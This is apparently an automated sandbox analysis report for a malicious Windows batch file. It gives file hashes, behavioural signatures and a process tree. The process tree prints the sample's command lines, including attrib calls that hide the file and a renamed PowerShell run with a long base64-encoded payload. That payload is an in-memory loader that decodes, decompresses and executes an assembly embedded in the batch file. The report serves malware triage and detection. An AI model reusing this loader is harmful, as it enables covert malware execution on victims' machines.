Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 19:11

General

  • Target

    New folder/08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat

  • Size

    1.1MB

  • MD5

    ab0d98e0b9af05d94e139284507c0d3b

  • SHA1

    0d3297b0a0bce6f0dde0b91146a66ed78c9b9d2c

  • SHA256

    08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d

  • SHA512

    f260e37db9c406ba6a6ae5c1472def4e545af5366e9d514066470d7a8506b85f01ce6a1ee274d7cf137a11684268379cddeab8f055ffe75d150b264fdee1884c

  • SSDEEP

    24576:w9vetj7JB95zNrhS01VX3LBc41Y35qdJQhgjGlCG9LuPQV+J7zrzLElSmRxx7o:jrXn+30QeGoU4TElSr

Score
8/10

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\system32\attrib.exe
      attrib +s +h "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat".exe
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:316
    • C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgAG54KgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwBueCcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2764
    • C:\Windows\system32\attrib.exe
      attrib -s -h "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat".exe
      2⤵
      • Views/modifies file attributes
      PID:2312

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat.exe

    Filesize

    442KB

    MD5

    92f44e405db16ac55d97e3bfe3b132fa

    SHA1

    04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

    SHA256

    6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

    SHA512

    f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

  • memory/2764-4-0x0000000074171000-0x0000000074172000-memory.dmp

    Filesize

    4KB

  • memory/2764-5-0x0000000074170000-0x000000007471B000-memory.dmp

    Filesize

    5.7MB

  • memory/2764-7-0x0000000074170000-0x000000007471B000-memory.dmp

    Filesize

    5.7MB

  • memory/2764-8-0x0000000074170000-0x000000007471B000-memory.dmp

    Filesize

    5.7MB

  • memory/2764-6-0x0000000074170000-0x000000007471B000-memory.dmp

    Filesize

    5.7MB

  • memory/2764-9-0x0000000074170000-0x000000007471B000-memory.dmp

    Filesize

    5.7MB